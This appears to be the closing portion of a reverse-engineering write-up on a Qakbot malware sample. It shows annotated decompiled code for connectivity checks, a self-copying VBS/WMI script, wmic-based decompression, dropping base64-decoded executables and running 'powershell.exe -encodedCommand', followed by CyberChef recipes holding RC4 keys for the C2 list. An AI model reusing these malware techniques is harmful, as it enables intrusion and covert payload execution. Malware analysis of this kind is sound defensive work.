User agent: Mozilla/5.0 (Windows NT 6.1; rv:77.0) Gecko/20100101 Firefox/77.0
or from urlmon.ObtainUserAgentString
MIME type: application/x-shockwave-flash
, image/gif
, image/jpeg
image/pjeg
and */*
Content Type: Content-Type: application/x-www-form-urlencoded
int __cdecl mlwr_loop_sleep_internet_conn(int url_or_ip)
// Try to connect to legit site (below) first
// microsoft.com,google.com,cisco.com,oracle.com,verisign.com,broadcom.com,yahoo.com,xfinity.com,irs.gov,linkedin.com
{
unsigned int i; // esi
int v2; // edi
// Such a big sleep loop to create some heart beat I guess ?
for ( i = 2000; i < 0x1770; i += 2000 )
{
v2 = mlwr_internet_connect(url_or_ip);
if ( v2 >= 0 )
break;
if ( i >= 0xFA0 )
break;
(kernel32_struct->SleepEx)(i, 1);
}
return v2;
VBS script to copy self
v17 = decrypt_str(0x37u); // Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\%coot\cimv2")
// Set colFiles = objWMIService.ExecQuery("Select * From CIM_DataFile Where Name = '%s'")
// For Each objFile in colFiles
// objFile.Copy("%s")
// Next
printf(v4, 4096, v17, 114, v18, a2);
mlwr_heap_free(&v17);
v17 = mlwr_create_vbs_file(v4); // Create file with <random_name>.vbs
if ( v17 )
{
v5 = mlwr_cscript_open_file(); // cscript.exe open via ShellExecute
Decompress file via expand
v13 = str_dec_2(); // wmic process call create 'expand "%S" "%S"'
snprinftw(v4, 1024, v13, source, dest);
mlwr_buf_check(&v13);
v5 = str_len(v4);
mlwr_create_file(v3, v4, v5);
v6 = -1;
heap_dealloc(&v12, -1);
if ( mlwr_createproc(v3, &v11, 0, 1, 0) )
Create new file based on b64 decoded bytes received
b64_decoded_bytes = chatgpt_b64_decode(**(a2 + 4), &v18);
if ( !b64_decoded_bytes )
{
v6 = -2;
goto LABEL_28;
}
v21 = to_widechar(v3);
alluserprofile_var = mlwr_get_alluserprofile_var(&v25);
...
if ( !alluserprofile_var )
{
...
while ( 1 )
{
if ( v20 )
goto LABEL_27;
v23 = decrypt_str(0x99Bu); // .exe
v8 = str_concat(v4[v6]);
v25 = v8;
mlwr_heap_free(&v23);
if ( !v8 )
break;
if ( mlwr_create_file(v8, b64_decoded_bytes, v18) < 0 )
Luckily this can be verify through the Powershell command later 😂
Execute base64 code via Powershell -encodedCommand
v3 = chatgpt_b64_decode(**(a1 + 4), 0);
v10 = v3;
if ( v3 )
{
v4 = sub_1000AB87(v3);
v11 = v4;
if ( v4 )
{
v12 = to_widechar(v4);
len = get_len(v12);
v7 = sub_10011789(v6, 2 * len);
if ( v7 )
{
to_widechar(v7);
a1 = str_dec_3(762); // powershell.exe -encodedCommand
v8 = str_concat(a1);
v13 = v8;
mlwr_heap_free(&a1);
sub_1000A75D(v8);
if ( v8 )
{
a1 = 0;
if ( mlwr_createproc(v8, &a1, 30000, 1, 0) )powershell.exe -encodedCommand
Reading amstream.dll
Not sure what is does actually 😕
mem_cpy(v3, *MEMORY[0x4C80CD4], 0x400);
v13 = 0;
str_dec_3(953); // amstream.dll
v8 = decrypt_str(qbot_s->is_sys_64_bit != 0 ? 0xF7C : 0x1253);// SysWOW64 or System32
v9 = str_concat(&qbot_s->system_32_64_path);
file = mlwr_read_file(0, v9, &v13);
mlwr_heap_free(&v8);
mlwr_heap_free(&v9);
v4 = v13;
Check is config file exist
v16 = decrypt_str(0x515u); // .cfg
file_with_cfh_ext = str_concat(&qbot_s->file_full_path);
v17 = file_with_cfh_ext;
mlwr_heap_free(&v16);
if ( mlwr_to_getfileattributew(file_with_cfh_ext) )
{
this[4] = sub_1000CE7B(file_with_cfh_ext);
*this = 3;
}
Others
Some XOR function
int __usercall maybe_calc_xor@<eax>(unsigned int a1@<edx>, int a2@<ecx>, int enc_bytes_hash)
{
int v3; // esi
unsigned int i; // ecx
unsigned int v7; // esi
v3 = ~enc_bytes_hash;
if ( !a1 )
return 0;
for ( i = 0; i < a1; ++i )
{
v7 = *(4 * ((*(i + a2) ^ v3) & 0xF) + 0x4C7DCD8) ^ ((*(i + a2) ^ v3) >> 4);
v3 = *(4 * (v7 & 0xF) + 0x4C7DCD8) ^ (v7 >> 4);
}
return ~v3;
}
After thought
Remember get the Qakbot payload before any alignment has been done into it. If not, GLHF to fix it like me 😂 Lesson learn. Just forgot process injection sometimes will made some alignment before inject into other process.
You can find my idapython script and most of the decrypted strings (There are few that my script can’t catch) that makes my life easier here 😪
There is too much to cover in the sample, and most probably I will miss some other features.
References
https://bazaar.abuse.ch/sample/f084d87078a1e4b0ee208539c53e4853a52b5698e98f0578d7c12948e3831a68/
Cyberchef recipe: Decrypt 2nd RC4 layer Component_07
https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'Hex','string':'68%2005%206D%204B%207A%20FD%207A%209A%20F0%206D%2072%20E7%2042%20CA%20CC%2035%20F9%207E%2039%207F'%7D,'Hex','Latin1')To_Hexdump(16,false,false,false)&input=REQgQzkgMDUgMUEgNjMgMzQgM0EgOEEgRjEgNkYgMjQgNTggODAgQkQgNzUgM0YgQzggMUIgMkUgRDUgQkYgOEIgNEIgNjYgOEYgRDYgQkEgQTMgQUIgMDIgM0EgMDMgODMgNkIgOEMgRkEgMkEgQUUgREIgOUQ
Cyberchef recipe: Decrypt 1st RC4 layer Component_08
https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'Hex','string':'12%20BD%2042%20D0%2094%201C%2069%20EC%20C4%20E8%2007%205C%20CF%203E%209F%2020%202C%201A%2094%2012'%7D,'Hex','Latin1')To_Hexdump(16,false,false,false)&input=REYgRDggNzEgMUMgODQgMUMgQzQgRjMgQkMgQjkgQTcgODQgRjMgQzYgREMgRkMgRTMgOTEgQ0EgMkIgOEQgNEMgNkEgOUIgNzIgQ0QgREUgRTggRDcgQzYgOEQgMTcgODggMkIgQzAgOEQgQjAgNkQgMjkgRDcgQUYgOTggMEYgQTAgOEQgRkIgNEEgNzIgREEgNUIgQ0MgODEgQUUgOEMgQjAgNzQgOUIgNTggMUEgODggQTkgNjggOTUgMDUgQzUgMzggNkMgNUQgRkUgQkYgREQgMjAgOTkgMEEgQkUgMTEgRDAgNzIgQjUgQzMgNTkgQTQgNkMgMkIgNzMgREEgNDcgNEMgNjUgQjIgNzggMEMgQjMgRTMgNDkgNTAgNEMgMjcgNTAgRkEgRTUgNjUgODkgM0MgNTUgRDkgN0IgQ0EgMkMgQzUgNzEgNDIgRTIgODIgQzMgQUQgMjEgQTggNzIgMjggMDMgRTAgRjEgNjEgOTMgMTEgMDIgQUYgRUQgMzQgOUQgNjIgRUEgMTEgMUEgODYgRTAgQUMgQTYgNTggRUIgNkUgNTYgNkIgOEUgM0YgN0YgODkgMEIgNDMgNTMgMUIgQjUgQUYgNjYgQTAgRDcgOTcgRUIgQ0QgQ0YgRkQgQzIgOTMgRkMgNkIgNDYgOUEgMkQgRjYgMTUgNkEgODEgM0YgREYgQjkgNDggQUIgQTcgM0QgNjUgODcgOTAgQTkgMTkgM0IgRTggODEgRDggQ0EgRDIgRDMgMzUgNzIgMDAgMjEgOUQgRjAgQzIgMUEgODkgQUIgRkMgNEIgQzkgMzcgODcgNjEgMDUgRUEgMzEgQUQgMjcgRkUgMzggQjUgMEIgMjAgREQgOTggOEIgMzUgRDAgQ0EgQUYgNzggQjIgODAgRjcgRUQgOTYgRjMgOTkgNTUgRTAgMkIgMzIgNjUgNzcgMEMgQTMgM0IgODYgNjcgMkYgMDkgQjggMEUgQkYgMTcgQkIgMUUgNTMgQTIgRTcgOUIgNjAgODQgQjcgRDcgNzYgODEgQkQgNDcgNUMgQzUgOUUgNkUgRTYgQTQgQzEgODkgMjQgMzMgM0YgRTggNkQgNjMgMkEgQjkgREIgODIgNzYgMDUgQUUgNDcgNDQgRDkgOEIgM0EgQ0UgQzkgNjIgQzMgMjUgNTIgNzYgOUEgMEEgNDEgQzEgODAgRTUgMDggRUUgMzIgQTUgQjAgQ0QgQTUgNTEgNjYgMzMgQzEgRjAgQTUgMDQgQTEgOTAgNEYgRDEgRjcgOEIgMkIgRDcgOTUgMTYgNzggQTEgNjkgQTQgQTMgQUIgMkIgMjEgNzIgQkYgOTUgNUUgRDQgRjkgQzQgOTkgQTYgNEQgMUMgNjYgNUEgN0UgMTYgRTAgQzkgMzcgRjAgRkEgNzMgRDYgQ0QgMkQgM0EgQkIgNzYgOEEgQjcgMzkgQTQgN0QgOEIgMzcgMjggODQgODQgQzkgN0MgMjkgMjcgOEMgRUQgMkUgQTIgQzEgNDUgRTUgRUQgMjAgQ0YgMUIgNjIgNTcgODMgQzEgMUIgN0UgNzAgQkIgQkUgNzUgMDggOUUgMTggQTkgNDYgRjggM0QgRTAgMEIgNkYgMEIgMUUgNjggQzcgOTIgRDQgMzAgMDggQUYgQ0UgMEUgRDMgMTMgRTAgRTEgOUUgN0MgRTcgNTEgRTcgM0QgMTQgMUIgMjIgQTAgQzYgMDMgRUYgQzUgMzYgNkQgMkYgRDcgNzMgMkIgNkQgNkQgM0UgQ0MgNEUgODIgNDQgNUEgRjEgODcgN0IgMkQgN0YgRDYgQ0YgOEQgNkYgNzMgNkMgMDEgNEMgRTMgMTkgMUUgMUIgRjEgMUIgRUEgOUQgQTQgRUEgNTUgQUYgMjggNkEgNTIgMDggQ0UgOEEgMTQgOTYgOEQgQjMgRjUgODMgOUEgMjYgQTMgQTQgOTMgOTEgMUEgN0MgRjQgOTMgNDIgOTkgNUEgQUUgQkEgMUMgQTUgQjQgOTEgRDYgMkYgMUQgRkMgOTYgMDcgMDIgNTAgRkUgRjAgNzIgNTYgODEgQzEgMTAgODYgRjQgRDMgNkUgQTggQUMgMTkgNEQgRDAgNDkgRDMgOTkgMDcgMTMgRjYgQTkgNzUgQ0EgQTkgRTYgQzQgRjUgNDcgMzUgMDcgODYgQjEgODMgQzMgMjUgQzkgQTggODQgRkIgRTcgMzIgNjQgQjYgNEUgMjUgQTMgMDkgOTAgNzMgMjUgNDQgQkIgQTkgQzYgNkEgNEEgNjYgMDMgODYgQTUgREEgQTIgQjMgQzEgMkIgODggRUIgNUUgMDQgNjQgOUEgRjAgOTMgNjkgMjYgNzMgN0MgQ0IgN0QgOUMgOTggN0YgNzcgQTkgQjkgMUQgODkgOTkgODcgMDggMUUgODIgNEUgQTAgM0IgNjUgRDkgRTUgOUMgQ0YgMEQgODkgMTEgQzMgQjkgQjggMDUgNUEgMjggOTkgMjEgN0IgREUgRjggOUYgQzQgNTkgMkIgMTUgRkMgMTUgMjMgNjIgRjMgNTMgREQgM0IgNTQgN0QgNjAgMEIgQTggODUgNjAgMDkgREIgQUEgMTYgODMgMDUgMTUgNTggMDkgREQgRTcgOUYgQjMgMzUgOUYgQjMgNTIgMjcgMzcgMTggOUEgMDMgNUMgNTQgN0EgMzggODIgNDMgMzYgRkYgRkMgOUQgQTkgRjkgNzIgNjggNDkgMDggNjggOTAgRTMgM0UgM0UgMUQgMEIgNTIgRDUgOTEgMjAgQjcgOUEgMzEgRjYgOUMgMjAgMzcgQTkgNkQgODkgODAgNDAgRjIgQkEgN0MgNzEgMDggRUIgNzQgNDkgOTMgOEUgRjIgOEEgRDMgNzQgQ0YgQTEgNDkgNzIgREUgQUEgNDIgOUIgMzMgNEQgNzUgNEQgQTcgNEIgNzEgMTggRjAgRUYgOUYgNzYgNTIgMTUgMjIgMjAgMUIgOTAgNTcgQkEgNDEgQ0MgQzIgMEIgNUUgOEQgMjUgQTAgNjggNzIgMDEgM0MgODUgNjYgMTkgQjUgQjYgQzYgQjIgNDMgNzUgRDEgNEEgMzEgMjIgNzYgNTEgQUEgRkMgQTQgOUEgMkYgQkMgQjMgRjMgQ0IgMzYgODcgQTMgNzUgQjUgNTQgMjEgRTYgNjYgRkIgNzYgMTIgMzcgMDUgOUUgQzQgNDcgN0UgNTEgOUYgNUUgNkIgMDYgODMgOTIgNkUgOUUgMTcgNDIgN0MgNDggMzQgMEQgNTEgQzUgN0YgMjkgQTIgNEEgMDYgNDAgOTAgNUUgQzYgRTIgNzMgOTkgMzEgQkIgQ0MgRUYgODUgRTUgRTkgQjIgRTkgREEgMEEgMzIgM0QgQzQgODcgOTYgMjQgQTIgQUIgM0YgNjQgNEQgQzcgRTkgQkMgNTcgNzUgMEQgQTggRjAgMkUgQjAgQkEgMkIgMTggRUIgQUMgQkMgNkQgRTAgMTIgNzQgRTMgMzkgNEUgMDAgMTMgNkYgNEMgRDIgQzUgQTkgNkYgMDUgOEUgRjAgNkIgNDYgRTQgOTEgNDMgMUQgMjMgOUMgQjUgNTkgQkUgRDkgRUEgNDMgRTUgQzAgMjkgRkEgMDEgQUQgRDYgMjIgOTUgREIgOUEgRTkgNUIgOTkgRDMgN0IgQ0MgNEUgQ0IgQkMgM0IgNjkgOEMgRDIgMDAgNzUgM0UgNzcgN0QgOTAgRjIgMDMgQkMgNTkgRTAgMTQgOUYgQzggN0MgMTEgNTUgQzIgNDEgNzAgMjcgRUQgMTIgNTIgQTQgOUQgNTIgMzUgMTIgMTYgNkUgODAgRUIgQTcgMUYgM0QgNEQgRkYgMjAgQTIgRDMgMTEgMjEgQzIgQkQgMzggQkYgMkIgM0MgMzAgODIgMTcgMzAgNzkgN0MgMDMgMEUgQUEgOTcgREYgNDIgNUYgRDMgMjQgQTkgNjAgOTAgMkIgMEEgQzUgMTIgRkIgNzQgNDggRkUgOEQgQjAgNzkgMTEgRUMgN0YgQUEgMTYgODQgRTkgRDMgNjQgQkMgRjUgMzU
Cyberchef recipe: Decrypt 2nd RC4 layer Component_08 (IP C2 List)
https://gchq.github.io/CyberChef/#recipe=RC4(%7B'option':'Hex','string':'30%20A6%20FF%2092%20B2%209F%20BE%20E7%2076%204C%20DF%20C0%200E%204B%20FF%20DE%204F%2070%2094%200D'%7D,'Hex','Latin1')To_Hexdump(16,false,false,false)&input=Q0UgQkQgMjYgODUgMTkgQTAgODggMEQgNjkgMjkgRjIgMDcgQkEgRjMgMjQgQUUgRTAgNTUgREMgMTAgNDUgOUQgNDkgRTAgQzYgMzEgRTQgRUEgQzMgQkIgNDEgRjYgNzcgQUEgRjcgRTIgQjYgM0MgNzggQUEgRTkgMTMgQTcgQ0UgOEUgMkIgRTYgNjcgRkYgRDIgRUIgNEYgMEUgRTcgMjAgM0UgMTMgREEgNzkgQTggODcgNzEgOUEgN0YgRkUgREMgMkMgRTkgODUgNDIgRjYgMzEgNDYgRUEgODQgRTMgMzggNTQgMDEgM0EgRkIgODAgMEEgQTggRjEgNzYgQ0EgMEEgMTQgOTkgMkQgOUMgQzYgRDQgQUIgQTggMzQgODkgMjEgM0EgN0MgQjQgNDYgM0YgQzYgQTQgNDEgOTMgQTUgNjcgODIgNjYgRDkgRjEgNzYgMUYgMUUgMDMgRTEgRDcgMzQgQzUgNDIgNDEgMTcgNkQgMkEgMUUgRTUgNEYgMTkgNUQgNzQgQ0EgNkUgRTUgMzggOUMgM0IgQTcgOTUgM0IgMjcgMjMgMzAgNzYgODUgNkQgQzUgNUMgRTEgNjUgNUMgNUEgQkMgMTMgREYgNEMgRTYgQzQgOUYgQjEgMzggNTMgQzMgRDAgQUQgQzAgQzQgOTMgMEIgQzIgNjggRDYgMUMgNEMgQTAgRDUgOUIgNkQgRDcgMkEgQjUgNjAgQjMgNEQgQ0UgMzMgNzYgQTIgQzggQTEgNjQgQTIgMDkgRTYgNjMgNDEgNTcgNzUgM0IgNkMgNjggNEYgMjAgMTMgNzggQTQgNUEgMjIgQzIgNTggNTUgM0EgMjQgOUQgREUgNTcgOTcgQTYgQkUgMDIgMTEgOTkgOTYgNUMgNUEgQ0YgRkUgQzAgNDggNjkgOUUgMzUgRDMgMDMgQkMgOEIgQTggODkgMEEgODIgMTQgRUYgMkEgMkYgRTcgMzMgQ0QgODIgMjQgNzEgMTkgRTQgOEYgQkEgQzYgOTEgM0MgODcgMTUgMEUgQkMgMTggNDggMUIgMDUgQ0EgOUIgOEMgMDkgRDMgMEIgNTMgNTUgNzQgOTEgNkUgMzIgMEQgNTcgNjUgQUQgNEYgNkEgOTcgMUEgMjYgMDQgQjggRUUgNjEgNTQgOTkgQzQgODggRUEgNjYgOTQgNEUgQjUgNzggMkQgRDQgODEgMUYgMEYgRDMgOTUgNTggNTcgQkEgQzYgNEYgQzYgRkUgN0UgQTIgMDcgNzEgRDYgNTIgQkMgRDAgMzUgOEQgMjUgMzggMzkgNjIgRkUgRjIgMUQgQUMgNTkgNTQgQTAgMkMgQjcgNEMgQzQgMTkgQ0IgRDYgQzggREYgQTAgMDAgMDMgMDggNDMgQjEgMjUgRTUgRjYgRjcgQjIgMEUgMDMgMUQgRDIgQkMgOEIgNkMgODEgNDMgMTYgOEMgMUEgQTAgQUQgRkIgMEQgREUgQUIgRTcgMTMgRDYgRTMgMkYgMEMgQjAgRjQgM0UgMjggRjEgMTUgOUYgNTMgRkQgNTkgQTIgM0YgRkUgNDQgQ0YgODkgQTMgRkYgOUIgRTYgN0QgMTggQzYgOUEgNUYgOEMgNTEgRUQgRDQgQzAgNTAgMTYgNzQgMkYgRTMgNzkgQzIgREEgRkMgNEEgMkIgNUUgMTkgOUQgQUIgRDYgOUEgRUIgMTMgNEUgM0EgMTAgMDcgQjkgQTcgRkUgNUMgMDggMzYgQTggRTQgNEYgRkUgNjEgNzMgMjMgRjIgMDcgMTggNkQgMjEgN0MgNkQgNTQgNjIgQTMgNzYgQTMgMzMgNTAgRUIgRDUgNDcgMjAgNEIgMUYgNzQgODEgNTEgMDAgMjQgNzEgMUQgOEEgQTMgRkYgMEEgQUEgMTEgNTMgREIgRkEgRkMgMTMgMTEgRjcgM0IgQzcgN0IgNDkgQ0IgODAgOEQgMzMgODEgRjUgQTIgRTYgOTggNUQgQkYgMDQgRjQgOTQgQTkgRkIgRjYgMjYgRjMgQ0EgMTggNzQgQzMgQ0YgQzAgM0UgOTYgNjMgNDIgRjkgMjcgRjkgRDMgNzEgQzMgQjcgOEYgQzcgMjUgNDggQUYgMzMgQTMgNTYgMDQgQkEgMjYgNkUgMUUgMTIgQTEgRUEgMDAgMjcgN0UgQkIgRjEgMUQgRjAgMkYgNTQgMzggQTggRjMgQzUgMDMgMDAgQ0MgQjkgNTIgMjIgNUIgRkYgNTIgQzggQzcgOTggRUEgRDUgRjcgQUIgMzQgREYgREUgRjUgNDEgMUIgQ0MgNzEgMzUgQzYgNDYgODkgMUYgRUEgMDkgRUYgRjggOEEgNTMgMzIgODAgODMgMTIgMUEgQjYgMjIgODQgMEYgQjIgMEIgRjQgQkUgNDMgQUUgODkgRDAgQzIgQTEgNDQgMzUgQTQgMzIgNjkgOTggNEIgRjMgM0EgQUUgNzQgQ0IgMzQgOTUgRDUgNTQgMjcgOTAgNjcgMTcgMUMgNjcgMkUgQ0QgMzggNEYgNDggQ0UgRUEgNzkgMUEgNzUgOEYgRDUgQTYgMTMgQUQgN0YgNkYgMEUgRTcgMzggQzcgMkEgN0UgMjAgQ0UgM0UgN0MgNTkgNkEgMjAgOEUgMUYgMDQgQkIgMzAgMDYgOUUgODYgRUIgRjggQ0QgRkUgNDAgNDcgOUIgOEQgRDUgNkQgOUEgRkMgQkMgNjYgNzcgNTggOUUgRjAgQTQgNDUgNTYgQzcgNjcgRTcgM0EgQTMgRDUgNjMgMjEgNjUgRjggREUgODAgQjcgNTQgOEQgODcgMzMgMDggOTkgRDYgMEIgRUEgNEEgQTAgMzggN0UgMTEgNjAgM0UgRTEgNjMgMEIgRjYgNjYgQUQgOEQgQ0MgMzYgRjYgMjAgQTIgRkUgODYgQkMgNjIgODkgQkQgOUIgQzYgQUYgQUYgQkQgMDcgNDkgOTUgMjYgODUgQjQgODggM0MgREMgNjggMTcgRUUgN0QgRTcgNTcgMTkgQjggNUQgQTggRDggMkIgNjMgMEUgRTkgRDcgMTAgMUYgNDUgNkIgMDYgRjMgOEIgREEgRTEgMjIgODcgMEYgMzggQ0MgNzIgMjYgMTIgMjQgQTEgNDggMjggNjggOTMgRUYgMUYgNjQgQjYgMzIgQzEgNDggQ0QgNjMgMUUgQzQgNUQgNkEgMkYgQTAgQTkgOEEgNDEgQkIgRTMgNTYgN0EgNTYgODUgRUMgNkEgNTYgQ0QgQjAgRTQgQUQgQTcgOTIgQzEgQ0MgQzEgQjggOUIgRkMgOTYgRjcgN0EgRkMgRTAgQkUgMEMgRDAgNDggQTMgNjYgNEUgMUYgRUQgRTggMEQgOUMgRkIgMzkgNDIgMzggRjMgREQgMUQgMDMgMUQgNjAgNTUgODMgNEIgMTAgRkEgNkUgNkYgMzAgODEgQzggNTEgMUYgOEIgRTkgM0MgNTggNjMgRTkgRjYgRkMgNUQgREIgNTcgREYgQTMgMUUgMUYgRDggRkQgNjYgNUIgQzAgNUIgMkMgN0YgM0EgOTQgNzcgNzggRTAgM0EgRkUgMTIgRTEgMzkgNzUgMEMgNzkgMEMgQTEgRjIgRDUgRkIgRDYgRjAgMEQgOTYgNjIgREMgNTMgMEIgOTkgRTAgNzMgQzEgNkUgQzQgQkUgQjkgREYgOTEgNTkgODkgQzUgNTUgOTUgRjIgREEgQzAgNzIgQzYgOUIgMzMgNkUgMDIgQUUgNTAgOEEgQTAgMzcgMDEgNzIgRjMgQTEgOTEgNEYgQkQgQkEgOTYgMDMgMTYgNzkgMjEgQTAgN0MgRDMgMjYgQjIgNkIgMDQgNzEgQUEgNDcgNTAgNzUgOUUgNDcgRjggNTcgNDAgOTUgOUQgQTc
https://www.ionos.com/digitalguide/server/configuration/deleting-and-disabling-hiberfilsys/
https://learn.microsoft.com/en-us/windows/win32/secauthz/sid-components